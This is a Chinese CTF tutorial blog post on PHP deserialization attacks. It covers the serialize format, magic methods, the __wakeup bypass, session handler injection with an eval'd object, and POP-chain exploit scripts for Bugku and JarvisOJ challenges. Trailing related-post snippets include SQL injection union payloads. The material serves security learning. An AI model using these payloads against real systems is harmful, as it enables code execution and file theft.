代码编织梦想

概念

数据(变量)序列化(持久化)
将一个变量的数据“转换为”字符串,但并不是类型转换,目的是将该字符串储存在本地。相反的行为称为反序列化。
序列化和反序列化的目:使得程序间传输对象会更加方便

相关函数

在这里插入图片描述
在这里插入图片描述
代码如下,可以自己测试测试

<?php 
highlight_file(__FILE__);
class user
{
    //变量
    public $age = 0;
    public $name = '';
    //方法
    public function print_data()
    {
        echo $this->name . ' is ' . $this->age. ' yaers old<br>';
    }
}
//创建对象
$user = new user();
//赋值
$user->age = 16;
$user->name = 'caixukun';
//输出
$user->print_data();
//输出反序列化后的数据
echo serialize($user);

?>

序列化打印了如下数据
O:4:"user":2:{s:3:"age";i:16;s:4:"name";s:8:"caixukun";}
在这里插入图片描述
解释一下每个代表的意义
在这里插入图片描述
在对象前可以添加+可以绕过正则匹配 php7和php5有区别,php7用+号绕过时会报错无法反序列化,只有php5可以这样。
可参考安恒杯12月月赛解题报告

注意事项

\x00 + 类名 + \x00 +变量名 反序列化出来的是private变量
\x00 + * + \x00 + 变量名 反序列化出来的是protected变量
直接变量名反序列化出来的是public变量
在这里插入图片描述
查看源代码发现是下图的图形,我们将其变为可读的字符
在这里插入图片描述
使用python的requests发送请求得到了
在这里插入图片描述

魔术方法+题目

PHP中把以两个下划线__开头的方法称为魔术方法:
__construct(), __destruct(), __call(), __callStatic(), __get(), __set(), __isset(), __unset(), __sleep(), __wakeup(), __toString(), __invoke(), __set_state(), __clone() 和 __debugInfo() 等方法在 PHP 中被称为魔术方法(Magic methods)。
在命名自己的类方法时不能使用这些方法名,除非是想使用其魔术功能。

在这里插入图片描述
PHP魔术方法:

__construct() //当一个对象创建时被调用
__destruct() //当一个对象销毁时被调用
__toString() //当一个对象被当作一个字符串使用
__sleep()//在对象在被序列化之前运行
__wakeup() //将在反序列化之后立即被调用(通过序列化对象元素个数不符来绕过)
__get() //获得一个类的成员变量时调用
__set() //设置一个类的成员变量时调用
__invoke() //调用函数的方式调用一个对象时的回应方法
__call() //当调用一个对象中的不能用的方法的时候就会执行这个函数

这里直接上题看看
实验环境:bugku-welcome to the bugkuctf
由于bugku环境炸了,找了好久找到了师傅的源码,在此感谢,需要的链接如下:ctf中的一道反序列化题
查看源代码如下
在这里插入图片描述
这里可以传参,我们先对user传参:php://input然后POST方式提交admin进行绕过,发现变为了hello admin!
在这里插入图片描述
接下来对file传伪协议读取class.php的源代码,base64解码即可
?user=php//input&file=php://filter/read=convert.base64-encode/resource=class.php
在这里插入图片描述
__toString,打印一个对象时,如果定义了__toString()方法,就能在测试时,通过echo打印对象体,对象就会自动调用它所属类定义的toString方法,格式化输出这个对象所包含的数据
接下来读取index.php
在这里插入图片描述
发现$pass = unserialize($pass); echo $pass;会触发public function __toString()
如何反序列化就是关键,将class.php源码复制,加入代码如下:

$a = new Read();
$a->file='f1a9.php';
echo serialize($a);

用php运行后得到O:4:"Read":1:{s:4:"file";s:8:"f1a9.php";}
在这里插入图片描述
使用文件包含,在class.php里对pass传参为序列化的结果
在这里插入图片描述
发现__toString was called! 成功得到flag
在这里插入图片描述

例题:flag.php

实验环境:bugku-flag.php
进入页面发现有一个登录框,但怎么输都没有显示,提示:hint
在这里插入图片描述
尝试后发现使用get方式传输hint=1
在这里插入图片描述
给出了源代码,当传入的cookie的反序列化为key时,得到flag,这里我一直认为key的值为:ISecer:www.isecer.com,查看了wp才发现,key的值为NULL,接下来构造序列化

<?php
echo serialize('');
?>

得到了s:0:'''';
在这里插入图片描述
传参即可,注意;要转换为url编码
在这里插入图片描述
得到flag

php __wakeup

Sec Bug #72663 Create an Unexpected Object and Don’t Invoke __wakeup() in Deserialization
PHP5 < 5.6.25,PHP7 < 7.0.10 时
当序列化字符串中,如果表示对象属性个数的值大于真实属性个数时就会跳过__wakeup的执行

php Session

Bug #71101 PHP Session Data Injection Vulnerability
PHP内置了多种处理器用于存取$_session数据时会对数据进行序列化和反序列化,常用的有以下三种,对应三种不同的处理格式:

处理器对应的存储格式
php键名 + 竖线 + 经过 serialize() 函数反序列处理的值
php_binary键名的长度对应的 ASCII 字符 + 键名 + 经过 serialize() 函数反序列处理的值
php_serialize(php>=5.5.4)经过 serialize() 函数反序列处理的数组

当session_start()被调用或者php.ini中session.auto_start为1时,PHP内部调用会话管理器,访问用户session被序列化以后,存储到指定目录(默认为/tmp)。
配置文件php.ini中含有这几个与session存储配置相关的配置项:

session.save_path="" --设置session的存储路径,默认在/tmp
session.auto_start --指定会话模块是否在请求开始时启动一个会话,默认为0不启动
session.serialize_handler --定义用来序列化/反序列化的处理器名字。默认使用php
session.upload_progress.cleanup 一旦读取了所有POST数据,立即清除进度信息。默认开启
session.upload_progress.enabled 将上传文件的进度信息存在session中。默认开启。

例题

题目地址:http://web.jarvisoj.com:32784/

<?php
//A webshell is wait for you
ini_set('session.serialize_handler', 'php');//服务器反序列化使用的处理器是php_serialize,而这里使用了php,所以会出现安全问题
session_start();
class OowoO
{
    public $mdzz;
    function __construct()
    {
        $this->mdzz = 'phpinfo();';
    }
    
    function __destruct()
    {
        eval($this->mdzz);
    }
}
if(isset($_GET['phpinfo']))
{
    $m = new OowoO();
}
else
{
    highlight_string(file_get_contents('index.php'));
}
?>

题目给出了源码,可以读取phpinfo,发现可以使用session反序列化:
在这里插入图片描述
原文意思大致要求满足以下2个条件就会写入到session中:

  1. session.upload_progress.enabled = On
  2. 上传一个字段的属性名和session.upload_progress.name的值相,这里根据上面的phpinfo信息看得出,值为PHP_SESSION_UPLOAD_PROGRESS,即name=“PHP_SESSION_UPLOAD_PROGRESS”

由phpinfo()页面知,session.upload_progress.enabled为On。当一个上传在处理中,同时POST一个与INI中设置的session.upload_progress.name同名变量时,当PHP检测到这种POST请求时,它会在$_SESSION中添加一组数据。所以可以通过Session Upload Progress来设置session。

构造上传页面:

<form action="http://web.jarvisoj.com:32784/index.php" method="POST" enctype="multipart/form-data">
    <input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="123" />
    <input type="file" name="file" />
    <input type="submit" />
</form>

接下来进行序列化:

<?php
class OowoO
{
    public $mdzz='print_r(scandir(dirname(__FILE__)));';
}
$obj = new OowoO();
echo serialize($obj);
?>

得到:O:5:"OowoO":1:{s:4:"mdzz";s:36:"print_r(scandir(dirname(__FILE__)));";}
接下来进行上传,抓包
在这里插入图片描述
为防止转义,在引号前加上\ 。利用前面的html页面随便上传一个东西,把filename改为如下:
|O:5:\"OowoO\":1:{s:4:\"mdzz\";s:36:\"print_r(scandir(dirname(__FILE__)));\";}
注意,前面有一个|,这是session的格式。
在这里插入图片描述
接下来由phpinfo知道了路径,尝试读取

|O:5:\"OowoO\":1:{s:4:\"mdzz\";s:88:\"print_r(file_get_contents(\"/opt/lampp/htdocs/Here_1s_7he_fl4g_buT_You_Cannot_see.php\"));\";}

在这里插入图片描述
参考:jarvisoj-web-writeup

phar反序列化(未完成)

利用 phar 拓展 php 反序列化漏洞攻击面


可参考师傅文章:
四个实例递进php反序列化漏洞理解
对象注入(反序列化漏洞)

构造pop链

例一:

<?php
header("Content-type:text/html;charset=utf-8");
error_reporting(1);

class Read 
{
    public function get_file($value)
    {
        $text = base64_encode(file_get_contents($value));
        return $text;
    }
}
class Show
{
    public $source;
    public $var;
    public $class1;
    public function __construct($name='index.php')
    {
        $this->source = $name;
        echo $this->source.' Welcome'."<br>";    
}
 
    public function __toString()
    {   
        $content = $this->class1->get_file($this->var);
        echo $content;
        return $content;
    }
 
    public function _show()
    {
        if(preg_match('/gopher|http|ftp|https|dict|\.\.|flag|file/i',$this->source)) {
            die('hacker');
        } else {
            highlight_file($this->source);
        }
 
    }
 
    public function Change()
    {
        if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
            echo "hacker";
        }
    }
    public function __get($key){
        $function=$this->$key;
        $this->{$key}();
    }
}

if(isset($_GET['sid']))
{
    $sid=$_GET['sid'];
    $config=unserialize($_GET['config']);
    $config->$sid;
}
else
{
    $show = new Show('index.php');
    $show->_show();
}

审计代码可以发现:

  1. Read类读取文件源代码,我们要用他来获取flag
  2. Show类内$content = $this->class1->get_file($this->var); ,而get_file()为Read内方法,说明$class1为new Read();
  3. Show内使用get_file()需要触发__toString()魔术方法
  4. __get()魔术方法在当访问不存属性在或为私有属性的时候会触发,__get()方法内将$key作为方法执行

解题顺序:通过反序列化覆盖变量$class1为new Read(); 覆盖变量$var为flag.php;$source是障眼法不用管;反序列化后访问$sid属性,将$sid赋值为__toString,于是就访问了不存在的属性触发了__get()方法;__get()内又获取了这个不存在的属性名__toString,将之作为方法调用,于是触发了__toString()方法;在__toString()内调用Read对象内的get_file()方法读取$var也就是flag.php的源代码,得到base64解码就是flag

构造序列化:

<?php
class Read 
{
    public function get_file($value)
    {
        $text = base64_encode(file_get_contents($value));
        return $text;
    }
}
class Show
{
    public $source = "index.php";
    public $var;
    public $class1;
}

$y1ng =  new Show();
$y1ng->var = "flag.php";
$y1ng->class1 = new Read();
echo serialize($y1ng);

例二

<?php
//flag is in flag.php
//WTF IS THIS?
//Learn From https://ctf.ieki.xyz/library/php.html#%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E9%AD%94%E6%9C%AF%E6%96%B9%E6%B3%95
//And Crack It!
class Modifier {
    protected  $var;
    public function append($value){
        include($value);//8.触发这个include,利用php base64 wrapper 读flag
    }
    public function __invoke(){
        $this->append($this->var);//7.然后会调用到这里
    }
}

class Show{
    public $source;
    public $str;
    public function __construct($file='index.php'){
        $this->source = $file;
        echo 'Welcome to '.$this->source."<br>";
    }
    public function __toString(){
        return $this->str->source;//4.这里会调用str->source的__get 那么我们将其设置为Test对象
    }

    public function __wakeup(){//2.如果pop是个Show,那么调用这里
        if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {//3.匹配的时候会调用__toString
            echo "hacker";
            $this->source = "index.php";
        }
    }
}

class Test{
    public $p;
    public function __construct(){
        $this->p = array();
    }

    public function __get($key){
        $function = $this->p;//5.触发到这里
        return $function();//6.()会调用__invoke,我们这里选择Modifier对象
    }
}

if(isset($_GET['pop'])){
    @unserialize($_GET['pop']);//1.反序列调用这里
}
else{
    $a=new Show;
    highlight_file(__FILE__);
}

构造pop链:
调用__wakeup()->触发__tostring()->source属性不存在,触发Test类的__get()函数 -> 触发__invoke()函数 -> include()包含文件(伪协议)
师傅exp代码如下:

<?php 
class Modifier{
    protected $var;
    function __construct(){
        $this->var="php://filter/convert.base64-encode/resource=flag.php";
    }
}

class Test{
    public $p;
}

class Show{
    public $source;
    public $str;
}

$s = new Show();
$t = new Test();
$r = new Modifier();
$t->p = $r;
$s->str = $t;
$s->source = $s;
echo urlencode(serialize($s));

版权声明:本文为博主原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。 本文链接: https://blog.csdn.net/bmth666/article/details/104737025

报数游戏(queue)-爱代码爱编程

有n个小朋友做游戏,他们的编号分别是1,2,3,4…n。他们按照编号从小到大依次顺时针围成一个圆圈,第一个小朋友开始报数,依次按照顺时针方向报数(报数的值加一),每个报m的人会离开队伍,然后下一个小朋友会继续从1开始报,直到剩下一个小朋友为止。输出最后小朋友的编号. #include<iostream> #include<queue&g

Python-Leetcode-动态规划 整理归纳-爱代码爱编程

为了笔试,刷了一阵子leetcode,也做了一些DP题目,为了以后更好的理解DP问题,将近期的DP题做了一个思路整理。 相关题目: 前面是目录  后面是题目在leetcode中的链接。 【1】斐波那契数列              面试题10- I. 斐波那契数列 【2】青蛙跳台阶                  剑指 Offer 10- II.

力扣题目系列:322. 零钱兑换-爱代码爱编程

刷题系列博客链接:机试题目 目录 题目及示例 我的题解 递归 备忘录递归 动态规划(迭代) 分析题目数学模型 题目及示例 给定不同面额的硬币 coins 和一个总金额 amount。编写一个函数来计算可以凑成总金额所需的最少的硬币个数。如果没有任何一种硬币组合能组成总金额,返回 -1。  示例 1:输入: coins

LeetCode不定时刷题——Merge two sorted linked lists and return it as a new list-爱代码爱编程

Merge two sorted linked lists and return it as a new list. The new list should be made by splicing together the nodes of the first two lists. /** * Definition for singly-linked

LeetCode不定时刷题——palindrome-爱代码爱编程

Determine whether an integer is a palindrome. Do this without extra space. 判断一个整型是否是回文,回文需要规避负数,以及小于10的正数,别的与之前的Reverse Number无异 class Solution { public boolean isPalindrome(int

一维数组的移动(BFS,DFS)-爱代码爱编程

在长度为n的坐标轴上吗,蒜头君想从A点移动到B点,他的移动规则如下: 1.向前一步,坐标增加1. 2.向后一步,坐标减少1. 3.跳跃一步,使得坐标乘2. 蒜头君不能移动到坐标小于0或者大于n的位置。蒜头君想知道从A点移动到B点的最少步数是多少,你能帮他计算出来吗? 输入格式 第一行输入三个整数n,A,B分别代表坐标轴长度,起始点坐标,终点坐标。输出格

[wp]xctf newscenter-爱代码爱编程

手工注入 查询所有数据库名称和表名 ’ union select 1,table_schema,table_name from information_schema.tables# 发现就两个数据库information_schema与news查询news数据库中的表的名称 ’ union select 1,table_schema,table_nam

LiterallyVulnerable-爱代码爱编程

3.8 值得纪念的时刻,张伟丽为中国捍卫了世界冠军 巾帼不让须眉 0x00 环境准备 Kali-Linux(IP:10.10.16.128) LiterallyVulnerable 虚拟机 NAT 网络连接 0x01 主机发现 nmap -sP 10.10.16.0/24 0x02 端口扫描 nmap -A -v -sS -s

CTFHub Http协议-爱代码爱编程

1、请求方式 由题目可知,考察的是HTTP请求方法,在Http/1.1协议中定义的八种方法为GET, POST 、HEAD、OPTIONS, PUT, DELETE, TRACE 和 CONNECT 方法。 进入题目后,发现提示,HTTP Method 是可以自定义的,并且区分大小写,直接用 CTFHUB 方法请求 index.php 即可拿到 f

XCTF 高校战“疫”网络安全分享赛 WEB_WP-爱代码爱编程

文章目录 XCTF 高校战“疫”网络安全分享赛easy_trick_gzmtuwebtmphackmefmkqPHP-UAFnwebsqlcheckin XCTF 高校战“疫”网络安全分享赛 easy_trick_gzmtu 首先说一下这个题的脑洞确实强打开题目后,是一个好看的博客,源码里提示?time=Y或者?time=2020 测试的

2020XCTF天津垓问题求解-爱代码爱编程

1.天津垓 有一些反调试措施和加壳的保护,但是总体逻辑非常简单 1.1 “Authorize:”求解 核心逻辑是: v39是一个数组,长度为14,具体值为:arrlist = [0x52,0x69,0x73,0x69,0x6e,0x67,0x5f,0x48,0x6f,0x70,0x70,0x65,0x72,0x21] 其中*(&v

pwn环境准备(持续修改)-爱代码爱编程

后续更新:经历过一次虚拟机炸了之后的情况,我再次记录成博客,如果这篇文章看完还有问题,那么我新写的这篇文章可以当做补充 链接如下:https://blog.csdn.net/weixin_43847969/article/details/105834046 先要拥有一个虚拟机(推荐vmbox或者vmware,我用的是vmbox) 例如 然后要在里面弄好一